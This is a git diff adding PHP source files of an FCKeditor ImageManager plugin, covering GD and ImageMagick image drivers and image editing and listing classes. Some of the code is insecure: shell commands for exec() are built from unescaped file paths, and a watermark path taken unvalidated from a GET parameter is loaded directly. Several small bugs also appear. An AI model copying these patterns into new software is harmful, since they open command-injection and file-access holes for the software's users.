+                    imagesetpixel($this->imageHandle, $left, $j, imagecolorat($this->imageHandle, $right, $j)); 
+                    imagesetpixel($this->imageHandle, $right, $j, $t); 
+                    $left++; $right--; 
+                } 
+            
+        }
+
+        return true;
+    }
+
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma=1.0) {
+        ImageGammaCorrect($this->imageHandle, 1.0, $outputgamma);
+    }
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string  the name of the file to write to
+     * @param $quality  int     output DPI, default is 85
+     * @param $types    string  define the output format, default
+     *                          is the current used format
+     *
+     * @return none
+     */
+    function save($filename, $type = '', $quality = 85)
+    {
+               $type           = $type==''? $this->type : $type;
+               $functionName   = 'image' . $type;
+
+               if(function_exists($functionName))
+               {
+                       $this->old_image = $this->imageHandle;
+                       if($type=='jpeg')
+                               $functionName($this->imageHandle, $filename, $quality);
+                       else
+                               $functionName($this->imageHandle, $filename);
+                       $this->imageHandle = $this->old_image;
+                       $this->resized = false;
+               }
+    } // End save
+
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string type (JPG,PNG...);
+     * @param int quality 75
+     *
+     * @return none
+     */
+    function display($type = '', $quality = 75)
+    {
+        if ($type != '') {
+            $this->type = $type;
+        }
+        $functionName = 'Image' . $this->type;
+               if(function_exists($functionName))
+               {
+                       header('Content-type: image/' . strtolower($this->type));
+                       $functionName($this->imageHandle, '', $quality);
+                       $this->imageHandle = $this->old_image;
+                       $this->resized = false;
+                       ImageDestroy($this->old_image);
+                       $this->free();
+               }
+    }
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        if ($this->imageHandle){
+            ImageDestroy($this->imageHandle);
+        }
+    }
+
+} // End class ImageGD
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/IM.php b/fckeditor/editor/plugins/ImageManager/Classes/IM.php
new file mode 100644 (file)
index 0000000..594d78c
--- /dev/null
@@ -0,0 +1,253 @@
+<?php
+
+/***********************************************************************
+** Title.........:  ImageMagick Driver
+** Version.......:  1.0
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  IM.php
+** Last changed..:  30 Aug 2003 
+** Notes.........:  Orginal is from PEAR
+**/
+
+// +----------------------------------------------------------------------+
+// | PHP Version 4                                                        |
+// +----------------------------------------------------------------------+
+// | Copyright (c) 1997-2002 The PHP Group                                |
+// +----------------------------------------------------------------------+
+// | This source file is subject to version 2.02 of the PHP license,      |
+// | that is bundled with this package in the file LICENSE, and is        |
+// | available at through the world-wide-web at                           |
+// | http://www.php.net/license/2_02.txt.                                 |
+// | If you did not receive a copy of the PHP license and are unable to   |
+// | obtain it through the world-wide-web, please send a note to          |
+// | license@php.net so we can mail you a copy immediately.               |
+// +----------------------------------------------------------------------+
+// | Authors: Peter Bowyer <peter@mapledesign.co.uk>                      |
+// +----------------------------------------------------------------------+
+//
+// $Id: IM.php,v 1.1.1.1 2009/09/17 20:08:58 matrix Exp $
+//
+// Image Transformation interface using command line ImageMagick
+//
+
+require_once "Transform.php";
+
+Class Image_Transform_Driver_IM extends Image_Transform
+{
+    /**
+     * associative array commands to be executed
+     * @var array
+     */
+    var $command = array();
+
+    /**
+     *
+     *
+     */
+    function Image_Transform_Driver_IM()
+    {
+        return true;
+    } // End Image_IM
+
+    /**
+     * Load image
+     *
+     * @param string filename
+     *
+     * @return mixed none or a PEAR error object on error
+     * @see PEAR::isError()
+     */
+    function load($image)
+    {
+
+        $this->uid = md5($_SERVER['REMOTE_ADDR']);
+        /*if (!file_exists($image)) {
+            return PEAR::raiseError('The image file ' . $image . ' does\'t exist', true);
+        }*/
+        $this->image = $image;
+        $this->_get_image_details($image);
+    } // End load
+
+    /**
+     * Resize Action
+     *
+     * @param int   new_x   new width
+     * @param int   new_y   new height
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function _resize($new_x, $new_y)
+    {
+               // prevent illegal data
+               if (!is_numeric($new_x)) die("new X must be numeric");
+               if (!is_numeric($new_y)) die("new Y must be numeric");
+
+        /*if (isset($this->command['resize'])) {
+            return PEAR::raiseError("You cannot scale or resize an image more than once without calling save or display", true);
+        }*/
+        $this->command['resize'] = "-geometry {$new_x}x{$new_y}!";
+
+        $this->new_x = $new_x;
+        $this->new_y = $new_y;
+    } // End resize
+
+    /**
+     * Crop the image
+     *
+     * @param int $crop_x left column of the image
+     * @param int $crop_y top row of the image
+     * @param int $crop_width new cropped image width
+     * @param int $crop_height new cropped image height
+     */
+    function crop($crop_x, $crop_y, $crop_width, $crop_height) 
+    {
+               if (!is_numeric($crop_x)) die("crop_x must be numeric");
+               if (!is_numeric($crop_y)) die("crop_y must be numeric");
+               if (!is_numeric($crop_width)) die("crop_width must be numeric");
+               if (!is_numeric($crop_height)) die("crop_height must be numeric");
+        $this->command['crop'] = "-crop {$crop_width}x{$crop_height}+{$crop_x}+{$crop_y}";
+    }
+
+    /**
+     * Flip the image horizontally or vertically
+     *
+     * @param boolean $horizontal true if horizontal flip, vertical otherwise
+     */
+    function flip($horizontal) 
+    {
+        if($horizontal)
+            $this->command['flop'] = "-flop";
+        else
+            $this->command['flip'] = "-flip";
+    }
+    /**
+     * rotate
+     *
+     * @param   int     angle   rotation angle
+     * @param   array   options no option allowed
+     *
+     */
+    function rotate($angle, $options=null)
+    {
+        if (!is_numeric($angle)) die("angle must be numeric");
+        if ('-' == $angle{0}) {
+            $angle = 360 - substr($angle, 1);
+        }
+         $this->command['rotate'] = "-rotate $angle";
+    } // End rotate
+
+    /**
+     * addText
+     *
+     * @param   array   options     Array contains options
+     *                              array(
+     *                                  'text'  The string to draw
+     *                                  'x'     Horizontal position
+     *                                  'y'     Vertical Position
+     *                                  'Color' Font color
+     *                                  'font'  Font to be used
+     *                                  'size'  Size of the fonts in pixel
+     *                                  'resize_first'  Tell if the image has to be resized
+     *                                                  before drawing the text
+     *                              )
+     *
+     * @return none
+     * @see PEAR::isError()
+     */
+    function addText($params)
+    {
+        $default_params = array(
+                                'text' => 'This is Text',
+                                'x' => 10,
+                                'y' => 20,
+                                'color' => 'red',
+                                'font' => 'Arial.ttf',
+                                'resize_first' => false // Carry out the scaling of the image before annotation?
+                                );
+         $params = array_merge($default_params, $params);
+         extract($params);
+         if (true === $resize_first) {
+             // Set the key so that this will be the last item in the array
+            $key = 'ztext';
+         } else {
+            $key = 'text';
+         }
+                // test input params
+         if (!is_numeric($x)) die("x must be numeric");
+         if (!is_numeric($y)) die("y must be numeric");
+         // escape others
+         $font = escapeshellarg($font);
+         $color = escapeshellarg($color);
+         $text = escapeshellarg($text);
+         $this->command[$key] = "-font $font -fill $color -draw 'text $x,$y \"$text\"'";
+         // Producing error: gs: not found gs: not found convert: Postscript delegate failed [No such file or directory].
+    } // End addText
+
+    /**
+     * Adjust the image gamma
+     *
+     * @param float $outputgamma
+     *
+     * @return none
+     */
+    function gamma($outputgamma=1.0) {
+        if (!is_numeric($outputgamma)) die("outputgamma must be numeric");
+        $this->command['gamma'] = "-gamma $outputgamma";
+    }
+
+    /**
+     * Save the image file
+     *
+     * @param $filename string  the name of the file to write to
+     * @param $quality  quality image dpi, default=75
+     * @param $type     string  (JPG,PNG...)
+     *
+     * @return none
+     */
+    function save($filename, $type='', $quality = 85)
+    {
+        if (!is_numeric($quality)) die("quality must be numeric");
+        $type == '' ? $this->type : $type;
+        $cmd = '' . IMAGE_TRANSFORM_LIB_PATH . 'convert ';
+               $cmd .= implode(' ', $this->command) . " -quality $quality ";
+               $cmd .= '"'.($this->image) . '" "' . ($filename) . '" 2>&1';
+        
+        //$cmd = str_replace('/', '\\', $cmd);
+               //echo($cmd.'<br>');
+        exec($cmd,$retval);
+    } // End save
+
+    /**
+     * Display image without saving and lose changes
+     *
+     * @param string type (JPG,PNG...);
+     * @param int quality 75
+     *
+     * @return none
+     */
+    function display($type = '', $quality = 75)
+    {
+        if (!is_numeric($quality)) die("quality must be numeric");
+        if ($type == '') {
+            header('Content-type: image/' . $this->type);
+            passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality "  . escapeshellarg($this->image) . ' ' . strtoupper($this->type) . ":-");
+        } else {
+            header('Content-type: image/' . $type);
+            passthru(IMAGE_TRANSFORM_LIB_PATH . 'convert ' . implode(' ', $this->command) . " -quality $quality "  . escapeshellarg($this->image) . ' ' . strtoupper($type) . ":-");
+        }
+    }
+
+
+    /**
+     * Destroy image handle
+     *
+     * @return none
+     */
+    function free()
+    {
+        return true;
+    }
+
+} // End class ImageIM
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/ImageEditor.php b/fckeditor/editor/plugins/ImageManager/Classes/ImageEditor.php
new file mode 100644 (file)
index 0000000..04eb3de
--- /dev/null
@@ -0,0 +1,585 @@
+<?php
+/**
+ * Image Editor. Editing tools, crop, rotate, scale and save.
+ * @author Wei Zhuo
+ * @author Paul Moers <mail@saulmade.nl> - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('Transform.php');
+
+/**
+ * Handles the basic image editing capbabilities.
+ * @author Wei Zhuo
+ * @version $Id: ImageEditor.php,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ * @subpackage Editor
+ */
+class ImageEditor 
+{
+       /**
+        * ImageManager instance.
+        */
+       var $manager;
+
+       /**
+        * user based on IP address
+        */
+       var $_uid;
+
+       /**
+        * tmp file storage time.
+        */
+       var $lapse_time =900; //15 mins
+
+       var $filesaved = 0;
+
+       /**
+        * Create a new ImageEditor instance. Editing requires a 
+        * tmp file, which is saved in the current directory where the
+        * image is edited. The tmp file is assigned by md5 hash of the
+        * user IP address. This hashed is used as an ID for cleaning up
+        * the tmp files. In addition, any tmp files older than the
+        * the specified period will be deleted.
+        * @param ImageManager $manager the image manager, we need this
+        * for some file and path handling functions.
+        */
+       function ImageEditor($manager) 
+       {
+               $this->manager = $manager;
+               $this->_uid = md5($_SERVER['REMOTE_ADDR']);
+       }
+       
+       /**
+        * Did we save a file?
+        * @return int 1 if the file was saved sucessfully, 
+        * 0 no save operation, -1 file save error.
+        */
+       function isFileSaved() 
+       {
+               Return $this->filesaved;
+       }
+
+       /**
+        * Process the image, if not action, just display the image.
+        * @return array with image information, empty array if not an image.
+        * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+        * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+        */
+       function processImage($uploadedRelative)
+       {
+               if (isset($uploadedRelative) && $uploadedRelative != "")
+               {
+                       $relative = $uploadedRelative;
+               }
+               elseif(isset($_GET['img']))
+               {
+                       $relative = rawurldecode($_GET['img']);
+               }
+               else
+               {
+                       Return array();
+               }
+
+               $imgURL = $this->manager->getFileURL($relative);
+               $fullpath = $this->manager->getFullPath($relative);
+               
+               $imgInfo = @getImageSize($fullpath);
+               if(!is_array($imgInfo))
+                       Return array();
+
+               $action = $this->getAction();
+
+               if(!is_null($action))
+               {
+                       $image = $this->processAction($action, $relative, $fullpath);
+               }
+               else
+               {
+                       $image['src'] = $imgURL;
+                       $image['dimensions'] = $imgInfo[3];
+                       $image['width'] = $imgInfo[0];
+                       $image['height'] = $imgInfo[1];
+                       $image['file'] = $relative;
+                       $image['fullpath'] = $fullpath;
+               }
+
+               Return $image;
+       }
+
+
+       /**
+        * Process the actions, crop, scale(resize), rotate, flip, and save.
+        * When ever an action is performed, the result is save into a
+        * temporary image file, see createUnique on the filename specs.
+        * It does not return the saved file, alway returning the tmp file.
+        * @param string $action, should be 'crop', 'scale', 'rotate','flip', or 'save'
+        * @param string $relative the relative image filename
+        * @param string $fullpath the fullpath to the image file
+        * @return array with image information
+        * <code>array('src'=>'url of the image', 'dimensions'=>'width="xx" height="yy"',
+        * 'file'=>'image file, relative', 'fullpath'=>'full path to the image');</code>
+        */
+       function processAction($action, $relative, $fullpath) 
+       {
+               $params = '';
+
+               if(isset($_GET['params']))
+                       $params = $_GET['params'];
+
+               $values =  explode(',',$params,4);
+               $saveFile = $this->getSaveFileName($values[0]);
+
+               $img = Image_Transform::factory(IMAGE_CLASS);
+               $img->load($fullpath);
+
+               switch ($action) 
+               {
+                       case 'replace':
+
+                               // 'ImageManager.php' handled the uploaded file, it's now on the server.
+                               // If maximum size is specified, constrain image to it.
+                               if ($this->manager->config['maxWidth'] > 0 && $this->manager->config['maxHeight'] > 0 && ($img->img_x > $this->manager->config['maxWidth'] || $img->img_y > $this->manager->config['maxHeight']))
+                               {
+                                       $percentage = min($this->manager->config['maxWidth']/$img->img_x, $this->manager->config['maxHeight']/$img->img_y);
+                                       $img->scale($percentage);
+                               }
+
+                               break;
+
+                       case 'watermark':
+
+                                       // loading target image
+                                       $functionName = 'ImageCreateFrom' . $img->type;
+                                       if(function_exists($functionName))
+                                       {
+                                               $imageResource = $functionName($fullpath);
+                                       }
+                                       else
+                                       {
+                                               echo "<script>alert(\"Error when loading '" . basename($fullpath) . "' - Loading '" . $img->type . "' files not supported\");</script>";
+                                               return false;
+                                       }
+
+                                       // loading watermark
+                                       $watermarkFullPath = $_GET['watermarkFullPath'];
+                                       $watermarkImageType = strtolower(substr($watermarkFullPath, strrpos($watermarkFullPath, ".") + 1));
+                                       if ($watermarkImageType == "jpg") { $watermarkImageType = "jpeg"; }
+                                       if ($watermarkImageType == "tif") { $watermarkImageType = "tiff"; }
+                                       $functionName = 'ImageCreateFrom' . $watermarkImageType;
+                                       if(function_exists($functionName))
+                                       {
+                                               $watermarkResource = $functionName($watermarkFullPath);
+                                       }
+                                       else
+                                       {
+                                               echo "<script>alert(\"Error when loading '" . basename($watermarkFullPath) . "' - Loading '" . $img->type . "' files not supported\");</script>";
+                                               return false;
+                                       }
+
+                                       $numberOfColors = imagecolorstotal($watermarkResource);
+
+                                       $watermarkX = isset($_GET['watermarkX']) ? $_GET['watermarkX'] : -1;
+                                       $watermarkY = isset($_GET['watermarkY']) ? $_GET['watermarkY'] : -1;
+                                       $opacity = $_GET['opacity'];
+
+                                       // PNG24 watermark on GIF target needs special handling
+                                       // PNG24 watermark with alpha transparency on other targets need also this handling
+                                       if ($watermarkImageType == "png" && $numberOfColors == 0 && ($img->type == "gif" || $opacity < 100))
+                                       {
+                                               require_once('Classes/api.watermark.php');
+
+                                               $watermarkAPI = new watermark();
+                                               $imageResource = $watermarkAPI->create_watermark($imageResource, $watermarkResource, $opacity, $watermarkX, $watermarkY);
+                                       }
+                                       // PNG24 watermark without alpha transparency on other targets than GIF can use 'imagecopy'
+                                       elseif ($watermarkImageType == "png" && $numberOfColors == 0 && $opacity == 100)
+                                       {
+                                               $watermark_width = imagesx($watermarkResource);
+                                               $watermark_height = imagesy($watermarkResource);
+
+                                               imagecopy($imageResource, $watermarkResource, $watermarkX, $watermarkY, 0, 0, $watermark_width, $watermark_height);
+                                       }
+                                       // Other watermarks can be appllied no swet on all targets
+                                       else
+                                       {
+                                               $watermark_width = imagesx($watermarkResource);
+                                               $watermark_height = imagesy($watermarkResource);
+
+                                               imagecopymerge($imageResource, $watermarkResource, $watermarkX, $watermarkY, 0, 0, $watermark_width, $watermark_height, $opacity);
+                                       }
+
+                               break;
+
+                       case 'crop':
+                               $img->crop(intval($values[0]),intval($values[1]),
+                                                       intval($values[2]),intval($values[3]));
+                               break;
+                       case 'scale':
+                               $img->resize(intval($values[0]),intval($values[1]));
+                               break;
+                       case 'rotate':
+                               $img->rotate(floatval($values[0]));
+                               break;
+                       case 'flip':
+                               if ($values[0] == 'hoz')
+                                       $img->flip(true);
+                               else if($values[0] == 'ver') 
+                                       $img->flip(false);
+                               break;
+                       case 'save':
+                               if(!is_null($saveFile))
+                               {
+                                       $quality = intval($values[1]);
+                           if($quality <0) $quality = 85;
+                                       $newSaveFile = $this->makeRelative($relative, $saveFile);
+                                       $oldSaveFile = $newSaveFile;
+
+                                       if ($this->manager->config['allow_newFileName'] && $this->manager->config['allow_overwrite'] == false)
+                                       {
+                                               // check whether a file already exist and if there is, create a variant of the filename
+                                               $newName = $this->getUniqueFilename($newSaveFile);
+                                               //get unique filename just returns the filename, so
+                                               //we need to make the relative path again.
+                                               $newSaveFile = $this->makeRelative($relative, $newName);
+                                       }
+
+                                       // forced new name?
+                                       if ($oldSaveFile != $newSaveFile)
+                                       {
+                                               $this->forcedNewName = $newName;
+                                       }
+                                       else
+                                       {
+                                               $this->forcedNewName = false;
+                                       }
+                                               
+                                       $newSaveFullpath = $this->manager->getFullPath($newSaveFile);
+                                       $img->save($newSaveFullpath, $values[0], $quality);
+                                       if(is_file($newSaveFullpath))
+                                               $this->filesaved = 1;
+                                       else
+                                               $this->filesaved = -1;
+                               }
+                               break;
+               }
+               
+               //create the tmp image file
+               $filename = $this->createUnique($fullpath);
+               $newRelative = $this->makeRelative($relative, $filename);
+               $newFullpath = $this->manager->getFullPath($newRelative);
+               $newURL = $this->manager->getFileURL($newRelative);
+
+               // when uploaded and not resized, rename and don't save
+               if ($action == "replace" && $percentage <= 0)
+               {
+                       rename($fullpath, $newFullpath);
+               }
+               // when watermarked, save to new filename
+               elseif ($action == "watermark")
+               {
+                       // save image
+                       $functionName   = 'image' . $img->type;
+                       if(function_exists($functionName))
+                       {
+                               if($type=='jpeg')
+                                       $functionName($imageResource, $newFullpath, 100);
+                               else
+                                       $functionName($imageResource, $newFullpath);
+                       }
+                       else
+                       {
+                               echo "<script>alert(\"Error when saving '" . basename($newFullpath) . "' - Saving '" . $img->type . "' files not supported\");</script>";
+                               return false;
+                       }
+               }
+               else
+               {
+                       //save the file.
+                       $img->save($newFullpath);
+                       $img->free();
+               }
+
+               // when uploaded was resized and saved, remove original
+               if ($action == "replace" && $percentage > 0)
+               {
+                       unlink($fullpath);
+               }
+
+               //get the image information
+               $imgInfo = @getimagesize($newFullpath);
+
+               $image['src'] = $newURL;
+               $image['dimensions'] = $imgInfo[3];
+               $image['width'] = $imgInfo[0];
+               $image['height'] = $imgInfo[1];
+               $image['file'] = $newRelative;
+               $image['fullpath'] = $newFullpath;
+
+
+               Return $image;
+       
+       }
+
+
+
+       /**
+        * Get the file name base on the save name
+        * and the save type.
+        * @param string $type image type, 'jpeg', 'png', or 'gif'
+        * @return string the filename according to save type
+        */
+       function getSaveFileName($type) 
+       {
+               if(!isset($_GET['file']))
+                       Return null;
+
+               $filename = Files::escape(rawurldecode($_GET['file']));
+               $index = strrpos($filename,'.');
+               $base = substr($filename,0,$index);
+               $ext = strtolower(substr($filename,$index+1,strlen($filename)));
+
+               if($type == 'jpeg' && !($ext=='jpeg' || $ext=='jpg'))
+               {
+                       Return $base.'.jpeg';
+               }
+               if($type=='png' && $ext != 'png')
+                       Return $base.'.png';
+               if($type=='gif' && $ext != 'gif')
+                       Return $base.'.gif';
+
+               Return $filename;
+       }
+
+       /**
+        * Get the default save file name, used by editor.php.
+        * @return string a suggestive filename, this should be unique
+        */
+       function getDefaultSaveFile() 
+       {
+               if(isset($_GET['img']))
+                       $relative = rawurldecode($_GET['img']);
+               else
+                       Return null;
+
+               Return $this->getUniqueFilename($relative);
+       }
+
+       /**
+        * Get a unique filename. If the file exists, the filename
+        * base is appended with an increasing integer.
+        * @param string $relative the relative filename to the base_dir
+        * @return string a unique filename in the current path
+        */
+       function getUniqueFilename($relative) 
+       {
+               $fullpath = $this->manager->getFullPath($relative);
+               
+               $pathinfo = pathinfo($fullpath);
+
+               $path = Files::fixPath($pathinfo['dirname']);
+               $file = Files::escape($pathinfo['basename']);
+               
+               $filename = $file;
+
+               $dotIndex = strrpos($file, '.');
+               $ext = '';
+
+               if(is_int($dotIndex)) 
+               {
+                       $ext = substr($file, $dotIndex);
+                       $base = substr($file, 0, $dotIndex);
+               }
+
+               $counter = 0;
+               while(is_file($path.$filename)) 
+               {
+                       $counter++;
+                       $filename = $base.'_'.$counter.$ext;
+               }
+               
+               Return $filename;
+               
+       }
+
+       /**
+        * Specifiy the original relative path, a new filename
+        * and return the new filename with relative path.
+        * i.e. $pathA (-filename) + $file
+        * @param string $pathA the relative file
+        * @param string $file the new filename
+        * @return string relative path with the new filename
+        */
+       function makeRelative($pathA, $file) 
+       {
+               $index = strrpos($pathA,'/');
+               if(!is_int($index))
+                       Return $file;
+
+               $path = substr($pathA, 0, $index);
+               Return Files::fixPath($path).$file;
+       }
+
+       /**
+        * Get the action GET parameter
+        * @return string action parameter
+        */
+       function getAction() 
+       {
+               $action = null;
+               if(isset($_GET['action']))
+                       $action = $_GET['action'];
+               Return $action;
+       }
+
+       /**
+        * Generate a unique string based on md5(microtime()).
+        * Well not so uniqe, as it is limited to 6 characters
+        * @return string unique string.
+        */
+    function uniqueStr()
+    {
+      return substr(md5(microtime()),0,6);
+    }
+
+       /**
+        * Create unique tmp image file name.
+        * The filename is based on the tmp file prefix
+        * specified in config.inc.php plus 
+        * the UID (basically a md5 of the remote IP)
+        * and some random 6 character string.
+        * This function also calls to clean up the tmp files.
+        * @param string $file the fullpath to a file
+        * @return string a unique filename for that path
+        * NOTE: it only returns the filename, path no included.
+        */
+       function createUnique($file) 
+       {
+               $pathinfo = pathinfo($file);
+               $path = Files::fixPath($pathinfo['dirname']);
+               $imgType = $this->getImageType($file);
+
+               $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+
+          //make sure the the unique temp file does not exists
+        while (file_exists($path.$unique_str))
+        {
+            $unique_str = $this->manager->getTmpPrefix().$this->_uid.'_'.$this->uniqueStr().".".$imgType;
+        }
+
+               $this->cleanUp($path,$pathinfo['basename']);
+
+               Return $unique_str;
+       }
+
+       /**
+        * Delete any tmp image files.
+        * @param string $path the full path 
+        * where the clean should take place.
+        */
+       function cleanUp($path,$file) 
+       {
+               $path = Files::fixPath($path);
+
+               if(!is_dir($path))
+                       Return false;
+
+               $d = @dir($path);
+               
+               $tmp = $this->manager->getTmpPrefix();
+               $tmpLen = strlen($tmp);
+
+               $prefix = $tmp.$this->_uid;
+               $len = strlen($prefix);
+
+               while (false !== ($entry = $d->read())) 
+               {
+                       //echo $entry."<br>";
+                       if(is_file($path.$entry) && $this->manager->isTmpFile($entry))
+                       {
+                               if(substr($entry,0,$len)==$prefix && $entry != $file)
+                                       Files::delFile($path.$entry);
+                               else if(substr($entry,0,$tmpLen)==$tmp && $entry != $file)
+                               {
+                                       if(filemtime($path.$entry)+$this->lapse_time < time())
+                                               Files::delFile($path.$entry);
+                               }
+                       }
+               }
+               $d->close();
+       }
+
+       /**
+        * Get the image type base on an image file.
+        * @param string $file the full path to the image file.
+        * @return string of either 'gif', 'jpeg', 'png' or 'bmp'
+        * otherwise it will return null.
+        */
+       function getImageType($file) 
+       {
+               $imageInfo = @getImageSize($file);
+
+               if(!is_array($imageInfo))
+                       Return null;
+
+               switch($imageInfo[2]) 
+               {
+                       case 1:
+                               Return 'gif';
+                       case 2:
+                               Return 'jpeg';
+                       case 3:
+                               Return 'png';
+                       case 6:
+                               Return 'bmp';
+               }
+
+               Return null;
+       }
+
+       /**
+        * Check if the specified image can be edit by GD
+        * mainly to check that GD can read and save GIFs
+        * @return int 0 if it is not a GIF file, 1 is GIF is editable, -1 if not editable.
+        */
+       function isGDEditable() 
+       {
+               if(isset($_GET['img']))
+                       $relative = rawurldecode($_GET['img']);
+               else
+                       Return 0;
+               if(IMAGE_CLASS != 'GD')
+                       Return 0;
+
+               $fullpath = $this->manager->getFullPath($relative);
+
+               $type = $this->getImageType($fullpath);
+               if($type != 'gif')
+                       Return 0;
+
+               if(function_exists('ImageCreateFrom'+$type)
+                       && function_exists('image'+$type))
+                       Return 1;
+               else
+                       Return -1;
+       }
+
+       /**
+        * Check if GIF can be edit by GD.
+        * @return int 0 if it is not using the GD library, 1 is GIF is editable, -1 if not editable.
+        */
+       function isGDGIFAble() 
+       {
+               if(IMAGE_CLASS != 'GD')
+                       Return 0;
+
+               if(function_exists('ImageCreateFromGif')
+                       && function_exists('imagegif'))
+                       Return 1;
+               else
+                       Return -1;
+       }
+}
+
+?>
diff --git a/fckeditor/editor/plugins/ImageManager/Classes/ImageManager.php b/fckeditor/editor/plugins/ImageManager/Classes/ImageManager.php
new file mode 100644 (file)
index 0000000..02f5cb6
--- /dev/null
@@ -0,0 +1,694 @@
+<?php
+/**
+ * ImageManager, list images, directories, and thumbnails.
+ * @author Wei Zhuo
+ * @version $Id: ImageManager.php,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('Files.php');
+require_once('Transform.php');
+
+/**
+ * ImageManager Class.
+ * @author Wei Zhuo
+ * @version $Id: ImageManager.php,v 1.1.1.1 2009/09/17 20:08:59 matrix Exp $
+ */
+class ImageManager 
+{
+       /**
+        * Configuration array.
+        */
+       var $config;
+
+       /**
+        * Array of directory information.
+        */
+       var $dirs;
+
+       /**
+        * Constructor. Create a new Image Manager instance.
+        * @param array $config configuration array, see config.inc.php
+        */
+       function ImageManager($config) 
+       {
+               $this->config = $config;
+       }
+
+       /**
+        * Get the base directory.
+        * @return string base dir, see config.inc.php
+        */
+       function getBaseDir() 
+       {
+               Return $this->config['base_dir'];
+       }
+
+       /**
+        * Get the base URL.
+        * @return string base url, see config.inc.php
+        */
+       function getBaseURL() 
+       {
+               Return $this->config['base_url'];
+       }
+
+       function isValidBase()
+       {
+               return is_dir($this->getBaseDir());
+       }
+
+       /**
+        * Get the tmp file prefix.
+     * @return string tmp file prefix.
+        */
+       function getTmpPrefix() 
+       {
+               Return $this->config['tmp_prefix'];
+       }
+
+       /**
+        * Get the sub directories in the base dir.
+        * Each array element contain
+        * the relative path (relative to the base dir) as key and the 
+        * full path as value.
+        * @return array of sub directries
+        * <code>array('path name' => 'full directory path', ...)</code>
+        */
+       function getDirs() 
+       {
+               if(is_null($this->dirs))
+               {
+                       $dirs = $this->_dirs($this->getBaseDir(),'/');
+                       ksort($dirs);
+                       $this->dirs = $dirs;
+               }
+               return $this->dirs;
+       }
+
+       /**
+        * Recursively travese the directories to get a list
+        * of accessable directories.
+        * @param string $base the full path to the current directory
+        * @param string $path the relative path name
+        * @return array of accessiable sub-directories
+        * <code>array('path name' => 'full directory path', ...)</code>
+        */
+       function _dirs($base, $path) 
+       {
+               $base = Files::fixPath($base);
+               $dirs = array();
+
+               if($this->isValidBase() == false)
+                       return $dirs;
+
+               $d = @dir($base);
+               
+               while (false !== ($entry = $d->read())) 
+               {
+                       //If it is a directory, and it doesn't start with
+                       // a dot, and if is it not the thumbnail directory
+                       if(is_dir($base.$entry) 
+                               && substr($entry,0,1) != '.'
+                               && $this->isThumbDir($entry) == false) 
+                       {
+                               $relative = Files::fixPath($path.$entry);
+                               $fullpath = Files::fixPath($base.$entry);
+                               $dirs[$relative] = $fullpath;
+                               $dirs = array_merge($dirs, $this->_dirs($fullpath, $relative));
+                       }
+               }
+               $d->close();
+
+               Return $dirs;
+       }
+
+       /**
+        * Get all the files and directories of a relative path.
+        * @param string $path relative path to be base path.
+        * @return array of file and path information.
+        * <code>array(0=>array('relative'=>'fullpath',...), 1=>array('filename'=>fileinfo array(),...)</code>
+        * fileinfo array: <code>array('url'=>'full url', 
+        *                       'relative'=>'relative to base', 
+        *                        'fullpath'=>'full file path', 
+        *                        'image'=>imageInfo array() false if not image,
+        *                        'stat' => filestat)</code>
+        */
+       function getFiles($path) 
+       {
+               $files = array();
+               $dirs = array();
+
+               if($this->isValidBase() == false)
+                       return array($files,$dirs);
+
+               $path = Files::fixPath($path);
+               $base = Files::fixPath($this->getBaseDir());
+               $fullpath = Files::makePath($base,$path);
+
+
+               $d = @dir($fullpath);
+               
+               while (false !== ($entry = $d->read())) 
+               {
+                       //not a dot file or directory
+                       if(substr($entry,0,1) != '.')
+                       {
+                               if(is_dir($fullpath.$entry)
+                                       && $this->isThumbDir($entry) == false)
+                               {
+                                       $relative = Files::fixPath($path.$entry);
+                                       $full = Files::fixPath($fullpath.$entry);
+                                       $count = $this->countFiles($full);
+                                       $dirs[$relative] = array('fullpath'=>$full,'entry'=>$entry,'count'=>$count);
+                               }
+                               else if(is_file($fullpath.$entry) && $this->isThumb($entry)==false && $this->isTmpFile($entry) == false) 
+                               {
+                                       $img = $this->getImageInfo($fullpath.$entry);
+
+                                       if(!(!is_array($img)&&$this->config['validate_images']))
+                                       {
+                                               $file['url'] = Files::makePath($this->config['base_url'],$path).$entry;
+                                               $file['relative'] = $path.$entry;
+                                               $file['fullpath'] = $fullpath.$entry;
+                                               $file['image'] = $img;
+                                               $file['stat'] = stat($fullpath.$entry);
+                                               $files[$entry] = $file;
+                                       }
+                               }
+                       }
+               }
+               $d->close();
+               ksort($dirs);
+               ksort($files);
+               
+               Return array($dirs, $files);
+       }       
+
+       /**
+        * Count the number of files and directories in a given folder
+        * minus the thumbnail folders and thumbnails.
+        */
+       function countFiles($path) 
+       {
+               $total = 0;
+
+               if(is_dir($path)) 
+               {
+                       $d = @dir($path);
+
+                       while (false !== ($entry = $d->read())) 
+                       {
+                               //echo $entry."<br>";
+                               if(substr($entry,0,1) != '.'
+                                       && $this->isThumbDir($entry) == false
+                                       && $this->isTmpFile($entry) == false
+                                       && $this->isThumb($entry) == false) 
+                               {
+                                       $total++;
+                               }
+                       }
+                       $d->close();
+               }
+               return $total;
+       }
+
+       /**
+        * Get image size information.
+        * @param string $file the image file
+        * @return array of getImageSize information, 
+        *  false if the file is not an image.
+        */
+       function getImageInfo($file) 
+       {
+               Return @getImageSize($file);
+       }
+
+       /**
+        * Check if the file contains the thumbnail prefix.
+        * @param string $file filename to be checked
+        * @return true if the file contains the thumbnail prefix, false otherwise.
+        */
